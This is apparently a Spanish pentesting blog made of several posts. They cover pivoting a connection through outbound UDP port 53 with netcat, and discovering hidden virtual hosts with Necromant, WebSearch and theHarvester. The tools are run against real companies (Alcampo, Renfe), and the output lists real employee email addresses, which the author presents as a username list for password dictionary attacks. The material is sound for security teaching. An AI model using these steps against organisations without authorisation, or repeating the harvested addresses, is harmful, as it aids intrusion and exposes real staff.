Como una de las posibles soluciones a esta situación está que en muchas empresas existen reglas para permitir la realización de peticiones DNS hacia Internet. Estas peticiones emplean el puerto 53/UDP, por lo que vamos a poder utilizar este puerto para realizar una conexión inversa y realizar el pivoting. En realidad, un relay de puertos mediante UDP es (muy) levemente distinto a un relay de puertos puramente TCP, como el que vimos hace ya tiempo AQUÍ (si alguien no domina este concepto, recomiendo su lectura previa a este post). Sin embargo, he visto en ocasiones gente que ha publicado herramientas específicas para hacer relay empleando puertos de salida UDP, quizá porque no se han parado a analizar profundamente la potencia que herramientas como NetCat nos ofrece:

$ nc -h
usage: nc [-46CDdhklnrtUuvz] [-b boundif] [-i interval] [-p source_port]
 [-s source_ip_address] [-w timeout] [-X proxy_version]
 [-x proxy_address[:port]] [hostname] [port[s]]
Command Summary:
-4 Use IPv4
                [...]
                -u UDP mode
                [...]

NetCat nos da la opción de usarlo en modo UDP (-u), tanto cuando lo empleamos en modo cliente como cuando lo empleamos en modo escucha. Esto nos permite una gran flexibilidad a la hora de definir conexiones. A modo de ejemplo, vamos a ver como podríamos establecer una conexión SSH a una máquina interna haciendo que el relay se estableciera mediante conexiones UDP al puerto 53:


En primer lugar, deberíamos poner en nuestro equipo "algo" a escuchar en el puerto 53/udp para recoger la conexión que nos vamos a mandar desde el equipo comprometido, y a su vez que este nos ofrezca el servicio SSH en algún puerto al que podamos conectar mediante un cliente SSH estándar. Para ello emplearemos NCat, que es la implementación que viene con la suite NMap del antiguo NetCat y que ya vimos EN ESTE POST. Como podéis ver, ponemos dos NCat's a la escucha, uno en el puerto 22/tcp y otro en el puerto 53/udp, conectados entre si. El orden en el que se llaman es importante, ya que el primero que se ejecuta debería ser el que primero vaya a recibir la conexión, en este caso el UDP.


A continuación, en la máquina comprometida, empleamos NetCat para hacer lo mismo que antes pero, esta vez, en modo cliente en lugar de a la escucha ¿Por qué usamos NetCat en lugar de NCat? Sencillamente porque NetCat está pensado para funcionar de forma standalone, mientras que NCat tiene algunas dependencias de las que podríamos no disponer en el sistema comprometido.

En este momento ya tenemos un NetCat que conecta al puerto 22/tcp de la máquina comprometida, que le pasa la información a otro NetCat que conecta a nuestro sistema al puerto 53/tcp y le pasa esta misma información al NCat que tenemos aquí a la escucha, que a su vez se lo pasa todo al NCat que hemos puesto a la escucha en nuestro puerto 22/tcp, por lo que... ¿Qué ocurrirá ahora si conectamos a nuestro puerto 22/tcp? Veamoslo:


Como podemos ver, conseguimos conectar al puerto SSH de la máquina comprometida, al que al principio no podríamos llegar, pero nos aprovechamos que la salida a través del 53/udp está permitida para cambiar de protocolo la conexión de tcp a udp, para luego en nuestro equipo deshacer este cambio y poder emplear un cliente estándar.

Es solo un pequeño ejemplo más de las cosas que se pueden hacer con NetCat/NCat. Por algo le llaman "la navaja suiza".

lunes, 24 de octubre de 2011

Jugando con VirtualHosts (III): Necromant

Como ya sabéis, los servicios webs tienen la opción de configurar varios hosts virtuales, que contienen diferentes sitios webs en base al nombre de hosts que se utilizó en la URL.

Para que el servicio web sepa que nombre de hosts usamos en la URL, nuestro navegador inserta una cabecera HTTP llamada "Host". Esta cabecera no aparecerá si accedemos directamente a una URL por su IP, pero sí aparecerá si accedemos por ejemplo a http:/www.alcampo.es:

Host: www.alcampo.es

Si un servicio web no tiene configurado ningún host virtual, en ese caso cualquier cabecera host o la ausencia de ella hará que nos devuelva el host por defecto, con lo que en todos los casos devolverá el mismo contenido.

Necromant es una nueva herramienta desarrollada en Pentester.Es para el descubrimiento de hosts virtuales "muertos", de ahí su nombre [Wikipedia], es decir, aquellos hosts virtuales que responden a un nombre de host concreto, pero cuyo nombre DNS no existe o no apunta a su dirección IP, con lo que resultan a priori inaccesibles.

Hay varias situaciones en las que podemos encontrarnos estos hosts virtuales "muertos", como por ejemplo:
  • Servicios web de desarrollo, donde los desarrolladores resuelven manualmente en su ficheros "hosts" local.
  • Servicios web que se encuentran balanceados por algún tipo de dispositivos.
  • Servicios web donde antes se alojaba una web y que se trasladó a otro host, cambiando la resolución DNS, pero sin eliminar el host virtual antiguo.
Encontrar este tipo de hosts virtuales "difuntos" puede ser de mucha utilidad, ya que muchas veces vamos a poder encontrar aplicaciones web antiguas o en desarrollo, saltarnos filtrados por IP utilizando los balanceadores, y mucho más.

Veamos que opciones tiene Necromant:

$ ./Necromant.py 
# Necromant v0.1 - 04/May/2011
# Dead Virtual Host Searcher
# Jose Selvi - jselvi (4.t) pentester (d0.t) es
# http://www.pentester.es
# http://tools.pentester.es/necromant


Usage: ./Necromant.py hostname.list url.list

Como podemos ver, Necromant acepta dos parámetros, una lista de hostnames y otra lista de urls. La información necesaria para completar estos ficheros podemos obtenerla mediante otros métodos, como vimos en anteriores posts [1][2]. La mejor manera de aprender el formato de ambos ficheros es ver un sencillo ejemplo, para ello vamos a elegir un objetivo, por ejemplo la red de hipermercados Alcampo, y vamos a buscar servicios web en sus IPs. La búsqueda real sería mucho más extensa que esta, pero para el ejemplo buscaríamos solo ofrecidos en puertos 80.

# nmap -PN -T4 -open -sS -p 80 -oG alcampo_nmap80.grep 217.140.24.0/24

Tras este escaneo ya podemos crear el fichero alcampo_urls.txt, que tendrá el siguiente contenido:

http://217.140.24.10
http://217.140.24.19
http://217.140.24.23

La herramienta acepta http y https, y acepta también la definición de puertos no estándar, para que podamos incluir los servicios webs en otro tipo de puertos. Ahora solo nos queda crear el fichero alcampo_hosts.txt con los nombres de host que queremos comprobar contra las URLs anteriores:

www.alcampo.com
www.alcampo.es

Ahora que ya tenemos los dos ficheros, solo tenemos que lanzar Necromant y dejarle actuar:

$ ./Necromant.py alcampo_hosts.txt alcampo_urls.txt 
Looking for this HostNames:
- www.alcampo.es
- www.alcampo.com


Looking at this Servers:
- http://217.140.24.10
- http://217.140.24.19
- http://217.140.24.23


Searching hostnames for: http://217.140.24.10
Searching hostnames for: http://217.140.24.19
- www.alcampo.es
- www.alcampo.com
Searching hostnames for: http://217.140.24.23
- www.alcampo.es
- www.alcampo.com


Virtual Hosts Found:
www.alcampo.es:http://217.140.24.19
www.alcampo.com:http://217.140.24.19
www.alcampo.es:http://217.140.24.23
www.alcampo.com:http://217.140.24.23

Como podemos ver, hay dos IPs que responden a los mismos nombres de hosts, a pesar de que el registro DNS solo nos resuelve a uno de ellos:

$ host www.alcampo.es
www.alcampo.es has address 217.140.24.23
$ host www.alcampo.com
www.alcampo.com has address 217.140.24.23

Si configuramos en nuestro fichero de hosts local la resolución de nombres estática apropiada, vamos a poder acceder a estos hosts virtuales en esta IP diferente a la que accederíamos de la forma habitual. A veces puede no aportar ningún tipo de relevancia, y otras veces puede resultarnos MUY útil.

Antes de terminar, me gustaría destacar que la herramienta lo que realiza es un fingerprint del sitio web accedido en base a algunos parámetros, entre ellos el contenido, comparando el resultado del fingerprint entre los nombres de host que buscamos y un hombre de host ficticio. Esto quiere decir que si el único sitio web está configurado como host por defecto, no nos va a detectar ningún nombre de hosts, aunque uno de los que hayamos probado esté ahí, ya que no está "oculto". Quizá en una siguiente versión le añada la posibilidad de que realice un fingerprint accediendo por nombre de host y luego compare, para detectar también donde está cada nombre de host por IP.

Por último, deciros que la herramienta está en estado beta, es decir, puede que os encontréis con algún tipo de falsos positivos. Si os encontráis alguno escribidme un correo, pero antes comprobad verdaderamente que se trata de un falso positivo, porque yo me he encontrado con algunos sitios web que los han configurado por separado y han copiado el contenido del html, pero que han añadido alguna tontería y la web, parece idéntica, pero no lo es.

Como os comentaba, podeis descargar la herramienta de AQUÍ.
Sed buenos.

miércoles, 19 de octubre de 2011

Jugando con VirtualHosts (II): WebSearch

En el post anterior nos quedábamos con una serie rangos de IPs que habíamos sacado de la herramienta theHarvester, pero nos quedábamos con las ganas de sacar todos y cada unos de los hosts virtuales de todo el rango.

Hay muchas herramientas en el mercado que sacan los hosts virtuales a partir de una IP empleando la cache de Bing y su fantástica opción "ip:", pero al menos cuando desarrollé la herramienta WebSearch (que ya presenté hace tiempo) no encontré ninguna a la que le pudiera pasar de forma cómoda un rango completo de IPs y que esta me buscara absolutamente todos los hosts virtuales, así que por ese motivo la desarrolle, y puedo decir que hasta el momento no he encontrado otra herramienta que me guste más para hacer este tipo de descubrimiento.

No entraré en detalles sobre la instalación y manejo porque eso ya lo hice en el anterior post en el que se presentó la herramienta, pero vamos a aplicarlo directamente a los rangos de renfe.es obtenidos de nuestro anterior post:

$ ./WebSearch.py 213.144.32.0-213.144.63.255
Searching hostnames for: 213.144.32.0 (0)
Searching hostnames for: 213.144.32.1 (0)
Searching hostnames for: 213.144.32.2 (0)
Searching hostnames for: 213.144.32.3 (0)
[...]
Searching hostnames for: 213.144.32.153 (0)
Searching hostnames for: 213.144.32.154 (1)
mail.adif.es
Searching hostnames for: 213.144.32.155 (0)
Searching hostnames for: 213.144.32.156 (0)
[...]
Searching hostnames for: 213.144.33.126 (0)
Searching hostnames for: 213.144.33.127 (10100)
www.adif.es
www.estacionesverdes.com
www.videoadif.org
www.videosferrocarril.net
www.abrimoscaminos.org
www.adifvideos.net
www.videosferrocarril.com
www.videosferroviarios.com
www.adif.org.es
www.videosferroviarios.net
[...]

Como podemos ver, después de unos cuantos minutos buscando por todo el rango, encontramos bastantes hosts que no habíamos encontrado en los pasos anteriores (enseño solo unos pocos de ellos), y algunos de ellos de dominios que desconocíamos hasta ahora, pero que evidentemente pertenecen a la misma empresa. Podemos usar estos dominios para volver a usar theHarvester con ellos y volver a empezar el proceso, y así ir enriqueciendo nuestra lista de dominios y nombres de host.

Ahora ya tenemos un montón de nombres de hosts y unos cuantos rangos de IPs donde hay bastantes servicios webs a la escucha y... queda un post más para acabar la serie.

En el próximo post presentamos Necromant.

lunes, 17 de octubre de 2011

Jugando con VirtualHosts (I): theHarvester

Este es el primero de una serie de posts sobre como manejarse con los virtual hosts de un servicio webs, que acabará con la presentación de un pequeño script de cosecha propia, pero que me ha parecido que merecía la pena tomar este tema desde el principio.

Hace algo más de dos años publiqué una herramienta (o pequeño script) en Perl llamado TargetSearch, al que se le pasaba como entrada un dominio y éste buscaba en Google nombres de host cacheados que acabaran en este dominio, con lo que éramos capaces de descubrir nuevos nombres de hosts y rangos de IPs en los que la empresa auditada tiene recursos, aunque las IPs no sean realmente de su propiedad, sino del ISP, o similar.

Hace ya bastante tiempo tuve el impulso de reescribirlo entero en python y cambiar algunas cosas para mejorarlo, ya que con su uso diario me había dado cuenta de bastantes limitaciones, pero tras valorarlo decidí no continuar el desarrollo del script, ya que hay otros desarrollador por otras personas que ofrecen una funcionalidad mayor que este y... ¿para que reinventar la rueda?

De entre las opciones que hay por ahí, a mi la que más me gusta es theHarvester, desarrollada por mi amigo Christian Martorella, y que podéis encontrar tanto en su blog como en distribuciones de seguridad bien conocidas como pueda ser BackTrack.

theHarvester ofrece la posibilidad de buscar subdominios dentro de un dominio a través de Google, al igual que hacía TargetSearch, pero también encuentra otro tipo de información como correos electrónicos, y utiliza más fuentes de datos, como Bing, LinkedIn, y algunos otros. Veamos la ayuda de la herramienta (le quito la cabecera donde pone autor y esas cosas, por claridad):


$ ./theHarvester.py -h
Usage: theharvester options 


       -d: Domain to search or company name
       -b: Data source (google,bing,bingapi,pgp,linkedin,google-profiles,exalead,all)
       -s: Start in result number X (default 0)
       -v: Verify host name via dns resolution and search for vhosts(basic)
       -l: Limit the number of results to work with(bing goes from 50 to 50 results,
            google 100 to 100, and pgp does'nt use this option)
       -f: Save the results into an XML file


Podemos elegir alguna de las fuentes o simplemente elegir "all" para que nos busque en todas las fuentes disponibles. La opción -l nos deja ajustar cuantos resultados va a leer la herramienta antes de parsear los resultados, así que cuanto más alto sea este número más fácil será encontrar la información que buscamos, pero eso se traducirá también en un mayor número de conexiones contra los buscadores, y por lo tanto una mayor lentitud y una mayor probabilidad de ser detectado y/o bloqueado por ellos.

Veamos un ejemplo sencillo de como intentaríamos sacar toda la información posible de, por ejemplo, renfe.es:


$ ./theHarvester.py -d renfe.es -l 200 -b all
Full harvest..
[-] Searching in Google..
Searching 100 results...
Searching 200 results...
Searching 300 results...
[-] Searching in PGP Key server..
[-] Searching in Bing..
Searching 100 results...
Searching 200 results...
[-] Searching in Exalead..
Searching 100 results...
Searching 200 results...
Searching 300 results...


[+] Emails found:
 -------------
SIR@renfe.es
ozramos@renfe.es
antonio.sierra@renfe.es
slozano@renfe.es
Jsagues@renfe.es
internet@renfe.es
grupos@renfe.es
comercial.ext.sir@renfe.es
mdelgadoa@renfe.es
comprasave@renfe.es
jacorral@renfe.es
crodriguez@renfe.es
rgcamus@renfe.es
ciapu17@cosme.renfe.es
cijoua7@cosme.renfe.es
ismiguel@renfe.es
ciapu66@cosme.renfe.es
fgarcia@renfe.es
cigou24@renfe.es
fdelmoral@renfe.es
alorenzo@renfe.es
jvillen@renfe.es
ihorcajo@renfe.es
arocha@renfe.es
didgu01@cosme.renfe.es
vrdid08@renfe.es
@renfe.es


[+] Hosts found
 -----------
80.239.224.25:www.renfe.es
213.144.33.20:w1.renfe.es
213.144.33.35:clubave.renfe.es
213.144.49.9:mail.renfe.es
80.239.224.25:horarios.renfe.es
213.144.49.136:infocer.renfe.es
213.144.33.206:web02.renfe.es
213.144.49.43:dns2.renfe.es
213.144.33.254:ns1.renfe.es
213.144.32.153:ns2.renfe.es
213.144.33.39:w4.renfe.es
213.144.33.20:W1.renfe.es
213.144.34.30:rnessl.renfe.es
213.41.75.72:boletines.renfe.es
213.144.49.35:dns1.renfe.es
213.144.49.59:interesaportal.renfe.es
213.144.33.35:w5.renfe.es
213.144.49.59:tuclubave.renfe.es
213.144.49.59:Tuclubave.renfe.es
80.239.224.25:Www.renfe.es
213.144.50.64:mercancias.renfe.es
213.144.49.9:mail.renfe.es
80.239.224.25:Www.renfe.es
213.144.33.206:web02.renfe.es
213.144.33.35:clubave.renfe.es
80.239.224.25:www.renfe.es
213.144.33.35:w5.renfe.es
213.144.33.206:asista.renfe.es
213.41.75.72:boletines.renfe.es
213.144.33.20:w1.renfe.es
80.239.224.25:Horarios.renfe.es
80.239.224.25:horarios.renfe.es
213.144.49.59:interesaportal.renfe.es


[+] Virtual hosts:
----------------
213.144.33.20:w1.renfe.es
213.144.33.35:clubave.renfe.es
213.144.33.35:w5.renfe.es
213.144.49.9:mail.renfe.es
213.144.49.136:infocer.renfe.es
213.144.33.206:asista.renfe.es
213.144.33.206:web02.renfe.es
213.41.75.72:boletines.renfe.es
213.41.75.72:t.cab09.net
213.41.75.72:grupoplaneta.cab09.net
213.41.75.72:www.help.icrc.org
213.41.75.72:www.tracabilite.org
213.41.75.72:www.initialservices.fr
213.41.75.72:lalettre.promotelec.com
213.41.75.72:dons.lesvillagesdenfants.com
213.41.75.72:info.geoportail.fr
213.41.75.72:gazdefrancedolcevita3.gdfsuez.com
213.41.75.72:don.lesvillagesdenfants.com
213.41.75.72:news.cegid.fr
213.41.75.72:soutenons.fondation-autisme.org
213.41.75.72:info.ign.fr
213.144.49.59:www.enpuntorenfe.es
213.144.49.59:www.enpuntorenfe.com
213.144.49.59:revistaenpunto.com
213.144.49.59:revistaenpunto.es
213.144.50.64:mercancias.renfe.es


De esta salida sacamos diferentes tipos de información:

  1. Listado de cuentas de correo, que nos puede servir tanto para obtener un listado de usuarios válido para posteriormente hacer ataques de diccionario a contraseñas, como para descubrir nuevos dominios desconocidos (un @cosme.renfe.es nos muestra la existencia de este dominio).
  2. Subdominios del dominio que hemos buscado, y algunos otros que estén alojados en los mismos servidores donde se han encontrado. Puede que sean nuevos dominios pertenecientes a la empresa que estamos auditando, o puede que se trate de un hosting compartido y no tengan nada que ver.
  3. Listado de IPs que alojan los nombres de hosts encontrados. A partir de ellos vamos a poder sacar, mediante whois, los rangos completos.

Yo os recomiendo un poco de grepping y awk para separar la información y hacerla más sencilla de manejar:

$ ./theHarvester.py -d renfe.es -l 200 -b all > renfe_theharvester.txt
$ cat renfe_theharvester.txt | grep "@" | grep -v edge-security | awk -F"@" '{print $1}' | sort | uniq > renfe_theharvester_users.txt
$ cat renfe_theharvester.txt | grep "@" | grep -v edge-security | awk -F"@" '{print $2}' | sort | uniq > renfe_theharvester_maildomains.txt
$ cat renfe_theharvester.txt | grep "renfe.es" | grep ":" | awk -F":" '{print $1}' | sort -n | uniq > renfe_theharvester_ips.txt
$ cat renfe_theharvester.txt | grep "renfe.es" | grep ":" | awk -F":" '{print $2}' | sort | uniq > renfe_theharvester_hosts.txt
$ cat renfe_theharvester.txt | grep -v "renfe.es" | grep ":" | grep -v "+" > renfe_theharvester_alternatehosts.txt

Si nos centramos en los rangos de IPs y hacemos whois a alguna de ellas, vemos que podemos reducir la información obtenida a la siguiente:

  • 80.239.224.25 -> 80.239.224.0 - 127 (Akamai)
  • 213.144.32.0 - 213.144.63.255 (Renfe)
  • 213.41.75.72 -> 213.41.75.0 - 255 (Colt)

A pesar de que theHarvester ya nos ha hecho una obtención de hosts virtuales de las IPs encontradas... ¿qué pasa con las IPs de las que no ha encontrado nada pero que están en el mismo rango? Si por ejemplo tuvieramos el dominio renfe.es en una serie de IPs y el dominio renfo.com (inventándomelo) en otra serie de IPs, no encontraríamos nada sobre este dominio.

En el siguiente post veremos como lo haremos.